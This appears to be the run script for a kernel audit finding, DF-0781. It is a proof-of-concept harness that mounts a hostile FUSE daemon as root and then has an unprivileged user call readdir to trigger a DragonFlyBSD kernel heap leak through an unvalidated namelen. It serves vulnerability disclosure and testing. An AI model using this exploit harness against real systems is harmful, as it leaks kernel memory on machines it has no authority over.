DragonFlyBSD Kernel Audit
DF-0781 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0781 run: load fuse, start the evil daemon (mounts /mnt/fuse), then as
# the unprivileged user maxx call getdents on the mountpoint to trigger the
# kernel heap leak via fuse_vop_readdir's unvalidated namelen.
#
# The daemon must open /dev/fuse (root:operator 0660); on this guest only
# root can do that, so the daemon is started as root.  The readdir that
# trips the leak is issued by maxx.
set -e
cd "$(dirname "$0")"

MNT=/mnt/fuse

# ensure fuse module is loaded (it ships as a .ko, not in GENERIC)
kldstat -n fuse >/dev/null 2>&1 || kldload /root/fuse.ko || true
mkdir -p "$MNT"

# start the daemon in the background; it mounts and then serves.
./evil_daemon "$MNT" > daemon.log 2>&1 &
DAEMON=$!
echo "daemon pid=$DAEMON"

# give mount time to complete (handshake + mount(2))
sleep 3

# sanity: is it mounted?
mount | grep "$MNT" || { echo "MOUNT_MISSING"; cat daemon.log; exit 1; }

# trigger as the unprivileged user: getdents on the FUSE mountpoint ->
# daemon replies with a dirent whose namelen > actual reply bytes -> leak.
echo "=== triggering readdir as maxx ==="
su -m maxx -c "cd $(pwd) && ./read_trigger $MNT" 2>&1 || echo "trigger rc=$?"

# if we got here the kernel survived
sleep 1
echo "=== guest survived; daemon log: ==="
cat daemon.log

# tear down
umount "$MNT" 2>/dev/null || true
kill $DAEMON 2>/dev/null || true
wait $DAEMON 2>/dev/null || true